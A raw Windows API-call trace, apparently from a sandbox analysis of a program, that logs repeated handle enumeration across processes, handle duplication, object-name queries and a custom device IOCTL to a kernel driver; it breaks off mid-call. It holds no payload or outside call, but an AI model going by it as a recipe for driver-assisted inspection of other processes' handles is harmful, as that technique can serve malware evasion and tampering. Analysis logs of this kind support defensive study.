[0129.881] RtlAllocateHeap (HeapHandle=0x190000, Flags=0x0, Size=0xc000) returned 0x1b8b10 [0129.881] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x1b8b10, Length=0xc000, ResultLength=0x12e420 | out: SystemInformation=0x1b8b10, ResultLength=0x12e420*=0x12598) returned 0xc0000004 [0129.881] HeapFree (in: hHeap=0x190000, dwFlags=0x0, lpMem=0x1b8b10 | out: hHeap=0x190000) returned 1 [0129.881] RtlAllocateHeap (HeapHandle=0x190000, Flags=0x0, Size=0x10000) returned 0x1b8b10 [0129.881] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x1b8b10, Length=0x10000, ResultLength=0x12e420 | out: SystemInformation=0x1b8b10, ResultLength=0x12e420*=0x12598) returned 0xc0000004 [0129.881] HeapFree (in: hHeap=0x190000, dwFlags=0x0, lpMem=0x1b8b10 | out: hHeap=0x190000) returned 1 [0129.881] RtlAllocateHeap (HeapHandle=0x190000, Flags=0x0, Size=0x14000) returned 0x1b8b10 [0129.881] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x1b8b10, Length=0x14000, ResultLength=0x12e420 | out: SystemInformation=0x1b8b10, ResultLength=0x12e420*=0x12598) returned 0x0 [0129.882] OpenProcess (dwDesiredAccess=0x40, bInheritHandle=0, dwProcessId=0xb90) returned 0xc0 [0129.882] GetCurrentProcess () returned 0xffffffffffffffff [0129.882] DuplicateHandle (in: hSourceProcessHandle=0xc0, hSourceHandle=0x18, hTargetProcessHandle=0xffffffffffffffff, lpTargetHandle=0x12d470, dwDesiredAccess=0x0, bInheritHandle=0, dwOptions=0x0 | out: lpTargetHandle=0x12d470*=0xc4) returned 1 [0129.882] CloseHandle (hObject=0xc0) returned 1 [0129.882] NtQueryObject (in: Handle=0xc4, ObjectInformationClass=0x2, ObjectInformation=0x0, ObjectInformationLength=0x0, ReturnLength=0x12d4b0 | out: ObjectInformation=0x0, ReturnLength=0x12d4b0) returned 0xc0000004 [0129.882] RtlAllocateHeap (HeapHandle=0x190000, Flags=0x0, Size=0x80) returned 0x1b4c50 [0129.882] NtQueryObject (in: Handle=0xc4, ObjectInformationClass=0x2, ObjectInformation=0x1b4c50, ObjectInformationLength=0x80, ReturnLength=0x0 | out: ObjectInformation=0x1b4c50, ReturnLength=0x0) returned 0x0 [0129.882] HeapFree (in: hHeap=0x190000, dwFlags=0x0, lpMem=0x1b4c50 | out: hHeap=0x190000) returned 1 [0129.882] RtlAllocateHeap (HeapHandle=0x190000, Flags=0x0, Size=0x808) returned 0x1e60090 [0129.882] DeviceIoControl (in: hDevice=0x7c, dwIoControlCode=0x83350048, lpInBuffer=0x12d4c8*, nInBufferSize=0x20, lpOutBuffer=0x1e60090, nOutBufferSize=0x808, lpBytesReturned=0x12d450, lpOverlapped=0x0 | out: lpInBuffer=0x12d4c8*, lpOutBuffer=0x1e60090*, lpBytesReturned=0x12d450*=0x8, lpOverlapped=0x0) returned 1 [0129.882] PsLookupProcessByProcessId (in: ProcessId=0xb90, Process=0xfffff88005000558 | out: Process=0xfffff88005000558) returned 0x0 [0129.882] PsAcquireProcessExitSynchronization () returned 0x0 [0129.882] KeStackAttachProcess (in: PROCESS=0xfffffa800200c770, ApcState=0xfffff880050005d0 | out: PROCESS=0xfffffa800200c770, ApcState=0xfffff880050005d0) [0129.882] ObReferenceObjectByHandle (in: Handle=0x18, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0xfffffa80039a2001, Object=0xfffff88005000548, HandleInformation=0x0 | out: Object=0xfffff88005000548*=0xfffffa80035b1360, HandleInformation=0x0) returned 0x0 [0129.882] KeUnstackDetachProcess (ApcState=0xfffff880050005d0) [0129.882] PsReleaseProcessExitSynchronization () returned 0x2 [0129.882] ObfDereferenceObject (Object=0xfffffa800200c770) returned 0x9 [0129.882] ObQueryNameString (in: Object=0xfffffa80035b1360, ObjectNameInfo=0xfffffa80019ff7c4, Length=0x800, ReturnLength=0xfffff88005000550 | out: ObjectNameInfo=0xfffffa80019ff7c4, ReturnLength=0xfffff88005000550) returned 0x0 [0129.883] ObfDereferenceObject (Object=0xfffffa80035b1360) returned 0x5 [0129.883] IofCompleteRequest (Irp=0xfffffa800c9fb010, PriorityBoost=0) [0129.883] HeapFree (in: hHeap=0x190000, dwFlags=0x0, lpMem=0x1e60090 | out: hHeap=0x190000) returned 1 [0129.883] CloseHandle (hObject=0xc4) returned 1 [0129.883] OpenProcess (dwDesiredAccess=0x40, bInheritHandle=0, dwProcessId=0xb90) returned 0xc4 [0129.883] GetCurrentProcess () returned 0xffffffffffffffff [0129.883] DuplicateHandle (in: hSourceProcessHandle=0xc4, hSourceHandle=0xc, hTargetProcessHandle=0xffffffffffffffff, lpTargetHandle=0x12d470, dwDesiredAccess=0x0, bInheritHandle=0, dwOptions=0x0 | out: lpTargetHandle=0x12d470*=0xc0) returned 1 [0129.883] CloseHandle (hObject=0xc4) returned 1 [0129.883] NtQueryObject (in: Handle=0xc0, ObjectInformationClass=0x2, ObjectInformation=0x0, ObjectInformationLength=0x0, ReturnLength=0x12d4b0 | out: ObjectInformation=0x0, ReturnLength=0x12d4b0) returned 0xc0000004 [0129.883] RtlAllocateHeap (HeapHandle=0x190000, Flags=0x0, Size=0x78) returned 0x1b4c50 [0129.883] NtQueryObject (in: Handle=0xc0, ObjectInformationClass=0x2, ObjectInformation=0x1b4c50, ObjectInformationLength=0x78, ReturnLength=0x0 | out: ObjectInformation=0x1b4c50, ReturnLength=0x0) returned 0x0 [0129.883] HeapFree (in: hHeap=0x190000, dwFlags=0x0, lpMem=0x1b4c50 | out: hHeap=0x190000) returned 1 [0129.883] RtlAllocateHeap (HeapHandle=0x190000, Flags=0x0, Size=0x808) returned 0x1e60090 [0129.883] DeviceIoControl (in: hDevice=0x7c, dwIoControlCode=0x83350048, lpInBuffer=0x12d4c8*, nInBufferSize=0x20, lpOutBuffer=0x1e60090, nOutBufferSize=0x808, lpBytesReturned=0x12d450, lpOverlapped=0x0 | out: lpInBuffer=0x12d4c8*, lpOutBuffer=0x1e60090*, lpBytesReturned=0x12d450*=0x5a, lpOverlapped=0x0) returned 1 [0129.883] PsLookupProcessByProcessId (in: ProcessId=0xb90, Process=0xfffff88005000558 | out: Process=0xfffff88005000558) returned 0x0 [0129.883] PsAcquireProcessExitSynchronization () returned 0x0 [0129.883] KeStackAttachProcess (in: PROCESS=0xfffffa800200c770, ApcState=0xfffff880050005d0 | out: PROCESS=0xfffffa800200c770, ApcState=0xfffff880050005d0) [0129.883] ObReferenceObjectByHandle (in: Handle=0xc, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0xfffffa80039a2001, Object=0xfffff88005000548, HandleInformation=0x0 | out: Object=0xfffff88005000548*=0xfffffa8002642f20, HandleInformation=0x0) returned 0x0 [0129.883] KeUnstackDetachProcess (ApcState=0xfffff880050005d0) [0129.883] PsReleaseProcessExitSynchronization () returned 0x2 [0129.883] ObfDereferenceObject (Object=0xfffffa800200c770) returned 0x9 [0129.883] ObQueryNameString (in: Object=0xfffffa800282fcd0, ObjectNameInfo=0xfffffa8003989044, Length=0x800, ReturnLength=0xfffff88005000508 | out: ObjectNameInfo=0xfffffa8003989044, ReturnLength=0xfffff88005000508) returned 0x0 [0129.883] ObfDereferenceObject (Object=0xfffffa8002642f20) returned 0x2 [0129.883] IofCompleteRequest (Irp=0xfffffa800c9fb010, PriorityBoost=0) [0129.883] HeapFree (in: hHeap=0x190000, dwFlags=0x0, lpMem=0x1e60090 | out: hHeap=0x190000) returned 1 [0129.883] CloseHandle (hObject=0xc0) returned 1 [0129.884] OpenProcess (dwDesiredAccess=0x40, bInheritHandle=0, dwProcessId=0xb90) returned 0xc0 [0129.884] GetCurrentProcess () returned 0xffffffffffffffff [0129.884] DuplicateHandle (in: hSourceProcessHandle=0xc0, hSourceHandle=0x8, hTargetProcessHandle=0xffffffffffffffff, lpTargetHandle=0x12d470, dwDesiredAccess=0x0, bInheritHandle=0, dwOptions=0x0 | out: lpTargetHandle=0x12d470*=0xc4) returned 1 [0129.884] CloseHandle (hObject=0xc0) returned 1 [0129.884] NtQueryObject (in: Handle=0xc4, ObjectInformationClass=0x2, ObjectInformation=0x0, ObjectInformationLength=0x0, ReturnLength=0x12d4b0 | out: ObjectInformation=0x0, ReturnLength=0x12d4b0) returned 0xc0000004 [0129.884] RtlAllocateHeap (HeapHandle=0x190000, Flags=0x0, Size=0x80) returned 0x1b4c50 [0129.884] NtQueryObject (in: Handle=0xc4, ObjectInformationClass=0x2, ObjectInformation=0x1b4c50, ObjectInformationLength=0x80, ReturnLength=0x0 | out: ObjectInformation=0x1b4c50, ReturnLength=0x0) returned 0x0 [0129.884] HeapFree (in: hHeap=0x190000, dwFlags=0x0, lpMem=0x1b4c50 | out: hHeap=0x190000) returned 1 [0129.884] RtlAllocateHeap (HeapHandle=0x190000, Flags=0x0, Size=0x808) returned 0x1e60090 [0129.884] DeviceIoControl (in: hDevice=0x7c, dwIoControlCode=0x83350048, lpInBuffer=0x12d4c8*, nInBufferSize=0x20, lpOutBuffer=0x1e60090, nOutBufferSize=0x808, lpBytesReturned=0x12d450, lpOverlapped=0x0 | out: lpInBuffer=0x12d4c8*, lpOutBuffer=0x1e60090*, lpBytesReturned=0x12d450*=0x1e, lpOverlapped=0x0) returned 1 [0129.884] PsLookupProcessByProcessId (in: ProcessId=0xb90, Process=0xfffff88005000558 | out: Process=0xfffff88005000558) returned 0x0 [0129.884] PsAcquireProcessExitSynchronization () returned 0x0 [0129.884] KeStackAttachProcess (in: PROCESS=0xfffffa800200c770, ApcState=0xfffff880050005d0 | out: PROCESS=0xfffffa800200c770, ApcState=0xfffff880050005d0) [0129.884] ObReferenceObjectByHandle (in: Handle=0x8, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0xfffffa80039a2001, Object=0xfffff88005000548, HandleInformation=0x0 | out: Object=0xfffff88005000548*=0xfffff8a0004cdd40, HandleInformation=0x0) returned 0x0 [0129.884] KeUnstackDetachProcess (ApcState=0xfffff880050005d0) [0129.884] PsReleaseProcessExitSynchronization () returned 0x2 [0129.884] ObfDereferenceObject (Object=0xfffffa800200c770) returned 0x9 [0129.884] ObQueryNameString (in: Object=0xfffff8a0004cdd40, ObjectNameInfo=0xfffffa8003950044, Length=0x800, ReturnLength=0xfffff88005000550 | out: ObjectNameInfo=0xfffffa8003950044, ReturnLength=0xfffff88005000550) returned 0x0 [0129.884] ObfDereferenceObject (Object=0xfffff8a0004cdd40) returned 0x8e [0129.884] IofCompleteRequest (Irp=0xfffffa800c9fb010, PriorityBoost=0) [0129.884] HeapFree (in: hHeap=0x190000, dwFlags=0x0, lpMem=0x1e60090 | out: hHeap=0x190000) returned 1 [0129.884] CloseHandle (hObject=0xc4) returned 1 [0129.884] OpenProcess (dwDesiredAccess=0x40, bInheritHandle=0, dwProcessId=0xb90) returned 0xc4 [0129.884] GetCurrentProcess () returned 0xffffffffffffffff [0129.884] DuplicateHandle (in: hSourceProcessHandle=0xc4, hSourceHandle=0x4, hTargetProcessHandle=0xffffffffffffffff, lpTargetHandle=0x12d470, dwDesiredAccess=0x0, bInheritHandle=0, dwOptions=0x0 | out: lpTargetHandle=0x12d470*=0xc0) returned 1 [0129.884] CloseHandle (hObject=0xc4) returned 1 [0129.884] NtQueryObject (in: Handle=0xc0, ObjectInformationClass=0x2, ObjectInformation=0x0, ObjectInformationLength=0x0, ReturnLength=0x12d4b0 | out: ObjectInformation=0x0, ReturnLength=0x12d4b0) returned 0xc0000004 [0129.884] RtlAllocateHeap (HeapHandle=0x190000, Flags=0x0, Size=0x70) returned 0x1b4c50 [0129.885] NtQueryObject (in: Handle=0xc0, ObjectInformationClass=0x2, ObjectInformation=0x1b4c50, ObjectInformationLength=0x70, ReturnLength=0x0 | out: ObjectInformation=0x1b4c50, ReturnLength=0x0) returned 0x0 [0129.885] HeapFree (in: hHeap=0x190000, dwFlags=0x0, lpMem=0x1b4c50 | out: hHeap=0x190000) returned 1 [0129.885] RtlAllocateHeap (HeapHandle=0x190000, Flags=0x0, Size=0x808) returned 0x1e60090 [0129.885] DeviceIoControl (in: hDevice=0x7c, dwIoControlCode=0x83350048, lpInBuffer=0x12d4c8*, nInBufferSize=0x20, lpOutBuffer=0x1e60090, nOutBufferSize=0x808, lpBytesReturned=0x12d450, lpOverlapped=0x0 | out: lpInBuffer=0x12d4c8*, lpOutBuffer=0x1e60090*, lpBytesReturned=0x12d450*=0xc0, lpOverlapped=0x0) returned 1 [0129.885] PsLookupProcessByProcessId (in: ProcessId=0xb90, Process=0xfffff88005000558 | out: Process=0xfffff88005000558) returned 0x0 [0129.885] PsAcquireProcessExitSynchronization () returned 0x0 [0129.885] KeStackAttachProcess (in: PROCESS=0xfffffa800200c770, ApcState=0xfffff880050005d0 | out: PROCESS=0xfffffa800200c770, ApcState=0xfffff880050005d0) [0129.885] ObReferenceObjectByHandle (in: Handle=0x4, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0xfffffa80039a2001, Object=0xfffff88005000548, HandleInformation=0x0 | out: Object=0xfffff88005000548*=0xfffff8a003a77530, HandleInformation=0x0) returned 0x0 [0129.885] KeUnstackDetachProcess (ApcState=0xfffff880050005d0) [0129.885] PsReleaseProcessExitSynchronization () returned 0x2 [0129.885] ObfDereferenceObject (Object=0xfffffa800200c770) returned 0x9 [0129.885] ObQueryNameString (in: Object=0xfffff8a003a77530, ObjectNameInfo=0xfffffa800384f7c4, Length=0x800, ReturnLength=0xfffff88005000550 | out: ObjectNameInfo=0xfffffa800384f7c4, ReturnLength=0xfffff88005000550) returned 0x0 [0129.885] ObfDereferenceObject (Object=0xfffff8a003a77530) returned 0x2 [0129.885] IofCompleteRequest (Irp=0xfffffa800c9fb010, PriorityBoost=0) [0129.885] HeapFree (in: hHeap=0x190000, dwFlags=0x0, lpMem=0x1e60090 | out: hHeap=0x190000) returned 1 [0129.885] CloseHandle (hObject=0xc0) returned 1 [0129.885] OpenProcess (dwDesiredAccess=0x40, bInheritHandle=0, dwProcessId=0xc18) returned 0xc0 [0129.885] GetCurrentProcess () returned 0xffffffffffffffff [0129.885] DuplicateHandle (in: hSourceProcessHandle=0xc0, hSourceHandle=0x2c, hTargetProcessHandle=0xffffffffffffffff, lpTargetHandle=0x12d470, dwDesiredAccess=0x0, bInheritHandle=0, dwOptions=0x0 | out: lpTargetHandle=0x12d470*=0xc4) returned 1 [0129.885] CloseHandle (hObject=0xc0) returned 1 [0129.885] NtQueryObject (in: Handle=0xc4, ObjectInformationClass=0x2, ObjectInformation=0x0, ObjectInformationLength=0x0, ReturnLength=0x12d4b0 | out: ObjectInformation=0x0, ReturnLength=0x12d4b0) returned 0xc0000004 [0129.885] RtlAllocateHeap (HeapHandle=0x190000, Flags=0x0, Size=0x78) returned 0x1b4c50 [0129.885] NtQueryObject (in: Handle=0xc4, ObjectInformationClass=0x2, ObjectInformation=0x1b4c50, ObjectInformationLength=0x78, ReturnLength=0x0 | out: ObjectInformation=0x1b4c50, ReturnLength=0x0) returned 0x0 [0129.885] HeapFree (in: hHeap=0x190000, dwFlags=0x0, lpMem=0x1b4c50 | out: hHeap=0x190000) returned 1 [0129.885] RtlAllocateHeap (HeapHandle=0x190000, Flags=0x0, Size=0x808) returned 0x1e60090 [0129.885] DeviceIoControl (in: hDevice=0x7c, dwIoControlCode=0x83350048, lpInBuffer=0x12d4c8*, nInBufferSize=0x20, lpOutBuffer=0x1e60090, nOutBufferSize=0x808, lpBytesReturned=0x12d450, lpOverlapped=0x0 | out: lpInBuffer=0x12d4c8*, lpOutBuffer=0x1e60090*, lpBytesReturned=0x12d450*=0x6c, lpOverlapped=0x0) returned 1 [0129.885] PsLookupProcessByProcessId (in: ProcessId=0xc18, Process=0xfffff88005000558 | out: Process=0xfffff88005000558) returned 0x0 [0129.885] PsAcquireProcessExitSynchronization () returned 0x0 [0129.885] KeStackAttachProcess (in: PROCESS=0xfffffa800394e630, ApcState=0xfffff880050005d0 | out: PROCESS=0xfffffa800394e630, ApcState=0xfffff880050005d0) [0129.885] ObReferenceObjectByHandle (in: Handle=0x2c, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0xfffffa80039a2001, Object=0xfffff88005000548, HandleInformation=0x0 | out: Object=0xfffff88005000548*=0xfffffa800216d1e0, HandleInformation=0x0) returned 0x0 [0129.886] KeUnstackDetachProcess (ApcState=0xfffff880050005d0) [0129.886] PsReleaseProcessExitSynchronization () returned 0x2 [0129.886] ObfDereferenceObject (Object=0xfffffa800394e630) returned 0x7 [0129.886] ObQueryNameString (in: Object=0xfffffa800216d1e0, ObjectNameInfo=0xfffffa80039c77c4, Length=0x800, ReturnLength=0xfffff88005000550 | out: ObjectNameInfo=0xfffffa80039c77c4, ReturnLength=0xfffff88005000550) returned 0x0 [0129.886] ObfDereferenceObject (Object=0xfffffa800216d1e0) returned 0x4 [0129.886] IofCompleteRequest (Irp=0xfffffa800c9fb010, PriorityBoost=0) [0129.886] HeapFree (in: hHeap=0x190000, dwFlags=0x0, lpMem=0x1e60090 | out: hHeap=0x190000) returned 1 [0129.886] CloseHandle (hObject=0xc4) returned 1 [0129.886] OpenProcess (dwDesiredAccess=0x40, bInheritHandle=0, dwProcessId=0xc18) returned 0xc4 [0129.908] GetCurrentProcess () returned 0xffffffffffffffff [0129.909] DuplicateHandle (in: hSourceProcessHandle=0xc4, hSourceHandle=0x20, hTargetProcessHandle=0xffffffffffffffff, lpTargetHandle=0x12d470, dwDesiredAccess=0x0, bInheritHandle=0, dwOptions=0x0 | out: lpTargetHandle=0x12d470*=0xc0) returned 1 [0129.909] CloseHandle (hObject=0xc4) returned 1 [0129.909] NtQueryObject (in: Handle=0xc0, ObjectInformationClass=0x2, ObjectInformation=0x0, ObjectInformationLength=0x0, ReturnLength=0x12d4b0 | out: ObjectInformation=0x0, ReturnLength=0x12d4b0) returned 0xc0000004 [0129.909] RtlAllocateHeap (HeapHandle=0x190000, Flags=0x0, Size=0x78) returned 0x1b4c50 [0129.909] NtQueryObject (in: Handle=0xc0, ObjectInformationClass=0x2, ObjectInformation=0x1b4c50, ObjectInformationLength=0x78, ReturnLength=0x0 | out: ObjectInformation=0x1b4c50, ReturnLength=0x0) returned 0x0 [0129.909] HeapFree (in: hHeap=0x190000, dwFlags=0x0, lpMem=0x1b4c50 | out: hHeap=0x190000) returned 1 [0129.909] NtQueryInformationProcess (in: ProcessHandle=0xc0, ProcessInformationClass=0x0, ProcessInformation=0x12d538, ProcessInformationLength=0x30, ReturnLength=0x12d4b0 | out: ProcessInformation=0x12d538, ReturnLength=0x12d4b0) returned 0xc0000022 [0129.909] CloseHandle (hObject=0xc0) returned 1 [0129.909] OpenProcess (dwDesiredAccess=0x40, bInheritHandle=0, dwProcessId=0xc1c) returned 0xc0 [0129.909] GetCurrentProcess () returned 0xffffffffffffffff [0129.909] DuplicateHandle (in: hSourceProcessHandle=0xc0, hSourceHandle=0xbc, hTargetProcessHandle=0xffffffffffffffff, lpTargetHandle=0x12d470, dwDesiredAccess=0x0, bInheritHandle=0, dwOptions=0x0 | out: lpTargetHandle=0x12d470*=0xc4) returned 1 [0129.909] CloseHandle (hObject=0xc0) returned 1 [0129.909] NtQueryObject (in: Handle=0xc4, ObjectInformationClass=0x2, ObjectInformation=0x0, ObjectInformationLength=0x0, ReturnLength=0x12d4b0 | out: ObjectInformation=0x0, ReturnLength=0x12d4b0) returned 0xc0000004 [0129.909] RtlAllocateHeap (HeapHandle=0x190000, Flags=0x0, Size=0x78) returned 0x1b4c50 [0129.909] NtQueryObject (in: Handle=0xc4, ObjectInformationClass=0x2, ObjectInformation=0x1b4c50, ObjectInformationLength=0x78, ReturnLength=0x0 | out: ObjectInformation=0x1b4c50, ReturnLength=0x0) returned 0x0 [0129.909] HeapFree (in: hHeap=0x190000, dwFlags=0x0, lpMem=0x1b4c50 | out: hHeap=0x190000) returned 1 [0129.909] RtlAllocateHeap (HeapHandle=0x190000, Flags=0x0, Size=0x808) returned 0x1e60090 [0129.909] DeviceIoControl (in: hDevice=0x7c, dwIoControlCode=0x83350048, lpInBuffer=0x12d4c8*, nInBufferSize=0x20, lpOutBuffer=0x1e60090, nOutBufferSize=0x808, lpBytesReturned=0x12d450, lpOverlapped=0x0 | out: lpInBuffer=0x12d4c8*, lpOutBuffer=0x1e60090*, lpBytesReturned=0x12d450*=0x8, lpOverlapped=0x0) returned 1 [0129.909] PsLookupProcessByProcessId (in: ProcessId=0xc1c, Process=0xfffff88005000558 | out: Process=0xfffff88005000558) returned 0x0 [0129.909] PsAcquireProcessExitSynchronization () returned 0x0 [0129.909] KeStackAttachProcess (in: PROCESS=0xfffffa80039a2060, ApcState=0xfffff880050005d0 | out: PROCESS=0xfffffa80039a2060, ApcState=0xfffff880050005d0) [0129.909] ObReferenceObjectByHandle (in: Handle=0xbc, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0x1, Object=0xfffff88005000548, HandleInformation=0x0 | out: Object=0xfffff88005000548*=0xfffffa800256f060, HandleInformation=0x0) returned 0x0 [0129.909] KeUnstackDetachProcess (ApcState=0xfffff880050005d0) [0129.909] PsReleaseProcessExitSynchronization () returned 0x2 [0129.909] ObfDereferenceObject (Object=0xfffffa80039a2060) returned 0x22 [0129.909] ObQueryNameString (in: Object=0xfffffa800256f060, ObjectNameInfo=0xfffffa80024497c4, Length=0x800, ReturnLength=0xfffff88005000550 | out: ObjectNameInfo=0xfffffa80024497c4, ReturnLength=0xfffff88005000550) returned 0x0 [0129.909] ObfDereferenceObject (Object=0xfffffa800256f060) returned 0x3 [0129.909] IofCompleteRequest (Irp=0xfffffa800c9fb010, PriorityBoost=0) [0129.909] HeapFree (in: hHeap=0x190000, dwFlags=0x0, lpMem=0x1e60090 | out: hHeap=0x190000) returned 1 [0129.909] CloseHandle (hObject=0xc4) returned 1 [0129.910] OpenProcess (dwDesiredAccess=0x40, bInheritHandle=0, dwProcessId=0xc1c) returned 0xc4 [0129.910] GetCurrentProcess () returned 0xffffffffffffffff [0129.910] DuplicateHandle (in: hSourceProcessHandle=0xc4, hSourceHandle=0xb8, hTargetProcessHandle=0xffffffffffffffff, lpTargetHandle=0x12d470, dwDesiredAccess=0x0, bInheritHandle=0, dwOptions=0x0 | out: lpTargetHandle=0x12d470*=0xc0) returned 1 [0129.910] CloseHandle (hObject=0xc4) returned 1 [0129.910] NtQueryObject (in: Handle=0xc0, ObjectInformationClass=0x2, ObjectInformation=0x0, ObjectInformationLength=0x0, ReturnLength=0x12d4b0 | out: ObjectInformation=0x0, ReturnLength=0x12d4b0) returned 0xc0000004 [0129.910] RtlAllocateHeap (HeapHandle=0x190000, Flags=0x0, Size=0x78) returned 0x1b4c50 [0129.910] NtQueryObject (in: Handle=0xc0, ObjectInformationClass=0x2, ObjectInformation=0x1b4c50, ObjectInformationLength=0x78, ReturnLength=0x0 | out: ObjectInformation=0x1b4c50, ReturnLength=0x0) returned 0x0 [0129.910] HeapFree (in: hHeap=0x190000, dwFlags=0x0, lpMem=0x1b4c50 | out: hHeap=0x190000) returned 1 [0129.910] NtQueryInformationThread (in: ThreadHandle=0xc0, ThreadInformationClass=0x0, ThreadInformation=0x12d508, ThreadInformationLength=0x30, ReturnLength=0x12d4b0 | out: ThreadInformation=0x12d508, ReturnLength=0x12d4b0) returned 0xc0000022 [0129.910] CloseHandle (hObject=0xc0) returned 1 [0129.910] OpenProcess (dwDesiredAccess=0x40, bInheritHandle=0, dwProcessId=0xc1c) returned 0xc0 [0129.910] GetCurrentProcess () returned 0xffffffffffffffff [0129.910] DuplicateHandle (in: hSourceProcessHandle=0xc0, hSourceHandle=0xa8, hTargetProcessHandle=0xffffffffffffffff, lpTargetHandle=0x12d470, dwDesiredAccess=0x0, bInheritHandle=0, dwOptions=0x0 | out: lpTargetHandle=0x12d470*=0xc4) returned 1 [0129.910] CloseHandle (hObject=0xc0) returned 1 [0129.910] NtQueryObject (in: Handle=0xc4, ObjectInformationClass=0x2, ObjectInformation=0x0, ObjectInformationLength=0x0, ReturnLength=0x12d4b0 | out: ObjectInformation=0x0, ReturnLength=0x12d4b0) returned 0xc0000004 [0129.910] RtlAllocateHeap (HeapHandle=0x190000, Flags=0x0, Size=0x88) returned 0x1b4c50 [0129.910] NtQueryObject (in: Handle=0xc4, ObjectInformationClass=0x2, ObjectInformation=0x1b4c50, ObjectInformationLength=0x88, ReturnLength=0x0 | out: ObjectInformation=0x1b4c50, ReturnLength=0x0) returned 0x0 [0129.910] HeapFree (in: hHeap=0x190000, dwFlags=0x0, lpMem=0x1b4c50 | out: hHeap=0x190000) returned 1 [0129.910] RtlAllocateHeap (HeapHandle=0x190000, Flags=0x0, Size=0x808) returned 0x1e60090 [0129.910] DeviceIoControl (in: hDevice=0x7c, dwIoControlCode=0x83350048, lpInBuffer=0x12d4c8*, nInBufferSize=0x20, lpOutBuffer=0x1e60090, nOutBufferSize=0x808, lpBytesReturned=0x12d450, lpOverlapped=0x0 | out: lpInBuffer=0x12d4c8*, lpOutBuffer=0x1e60090*, lpBytesReturned=0x12d450*=0x8, lpOverlapped=0x0) returned 1 [0129.910] PsLookupProcessByProcessId (in: ProcessId=0xc1c, Process=0xfffff88005000558 | out: Process=0xfffff88005000558) returned 0x0 [0129.910] PsAcquireProcessExitSynchronization () returned 0x0 [0129.910] KeStackAttachProcess (in: PROCESS=0xfffffa80039a2060, ApcState=0xfffff880050005d0 | out: PROCESS=0xfffffa80039a2060, ApcState=0xfffff880050005d0) [0129.910] ObReferenceObjectByHandle (in: Handle=0xa8, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0x1, Object=0xfffff88005000548, HandleInformation=0x0 | out: Object=0xfffff88005000548*=0xfffffa800396f900, HandleInformation=0x0) returned 0x0 [0129.910] KeUnstackDetachProcess (ApcState=0xfffff880050005d0) [0129.910] PsReleaseProcessExitSynchronization () returned 0x2 [0129.910] ObfDereferenceObject (Object=0xfffffa80039a2060) returned 0x22 [0129.910] ObQueryNameString (in: Object=0xfffffa800396f900, ObjectNameInfo=0xfffffa800245d7c4, Length=0x800, ReturnLength=0xfffff88005000550 | out: ObjectNameInfo=0xfffffa800245d7c4, ReturnLength=0xfffff88005000550) returned 0x0 [0129.910] ObfDereferenceObject (Object=0xfffffa800396f900) returned 0x2 [0129.910] IofCompleteRequest (Irp=0xfffffa800c9fb010, PriorityBoost=0) [0129.910] HeapFree (in: hHeap=0x190000, dwFlags=0x0, lpMem=0x1e60090 | out: hHeap=0x190000) returned 1 [0129.911] CloseHandle (hObject=0xc4) returned 1 [0129.911] OpenProcess (dwDesiredAccess=0x40, bInheritHandle=0, dwProcessId=0xc1c) returned 0xc4 [0129.911] GetCurrentProcess () returned 0xffffffffffffffff [0129.911] DuplicateHandle (in: hSourceProcessHandle=0xc4, hSourceHandle=0xa4, hTargetProcessHandle=0xffffffffffffffff, lpTargetHandle=0x12d470, dwDesiredAccess=0x0, bInheritHandle=0, dwOptions=0x0 | out: lpTargetHandle=0x12d470*=0xc0) returned 1 [0129.911] CloseHandle (hObject=0xc4) returned 1 [0129.911] NtQueryObject (in: Handle=0xc0, ObjectInformationClass=0x2, ObjectInformation=0x0, ObjectInformationLength=0x0, ReturnLength=0x12d4b0 | out: ObjectInformation=0x0, ReturnLength=0x12d4b0) returned 0xc0000004 [0129.911] RtlAllocateHeap (HeapHandle=0x190000, Flags=0x0, Size=0x88) returned 0x1ccb50 [0129.911] NtQueryObject (in: Handle=0xc0, ObjectInformationClass=0x2, ObjectInformation=0x1ccb50, ObjectInformationLength=0x88, ReturnLength=0x0 | out: ObjectInformation=0x1ccb50, ReturnLength=0x0) returned 0x0 [0129.911] HeapFree (in: hHeap=0x190000, dwFlags=0x0, lpMem=0x1ccb50 | out: hHeap=0x190000) returned 1 [0129.911] RtlAllocateHeap (HeapHandle=0x190000, Flags=0x0, Size=0x808) returned 0x1e60090 [0129.911] DeviceIoControl (in: hDevice=0x7c, dwIoControlCode=0x83350048, lpInBuffer=0x12d4c8*, nInBufferSize=0x20, lpOutBuffer=0x1e60090, nOutBufferSize=0x808, lpBytesReturned=0x12d450, lpOverlapped=0x0 | out: lpInBuffer=0x12d4c8*, lpOutBuffer=0x1e60090*, lpBytesReturned=0x12d450*=0x8, lpOverlapped=0x0) returned 1 [0129.911] PsLookupProcessByProcessId (in: ProcessId=0xc1c, Process=0xfffff88005000558 | out: Process=0xfffff88005000558) returned 0x0 [0129.911] PsAcquireProcessExitSynchronization () returned 0x0 [0129.911] KeStackAttachProcess (in: PROCESS=0xfffffa80039a2060, ApcState=0xfffff880050005d0 | out: PROCESS=0xfffffa80039a2060, ApcState=0xfffff880050005d0) [0129.911] ObReferenceObjectByHandle (in: Handle=0xa4, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0x1, Object=0xfffff88005000548, HandleInformation=0x0 | out: Object=0xfffff88005000548*=0xfffffa80038041c0, HandleInformation=0x0) returned 0x0 [0129.911] KeUnstackDetachProcess (ApcState=0xfffff880050005d0) [0129.911] PsReleaseProcessExitSynchronization () returned 0x2 [0129.911] ObfDereferenceObject (Object=0xfffffa80039a2060) returned 0x22 [0129.911] ObQueryNameString (in: Object=0xfffffa80038041c0, ObjectNameInfo=0xfffffa800240c744, Length=0x800, ReturnLength=0xfffff88005000550 | out: ObjectNameInfo=0xfffffa800240c744, ReturnLength=0xfffff88005000550) returned 0x0 [0129.911] ObfDereferenceObject (Object=0xfffffa80038041c0) returned 0x3 [0129.911] IofCompleteRequest (Irp=0xfffffa800c9fb010, PriorityBoost=0) [0129.911] HeapFree (in: hHeap=0x190000, dwFlags=0x0, lpMem=0x1e60090 | out: hHeap=0x190000) returned 1 [0129.911] CloseHandle 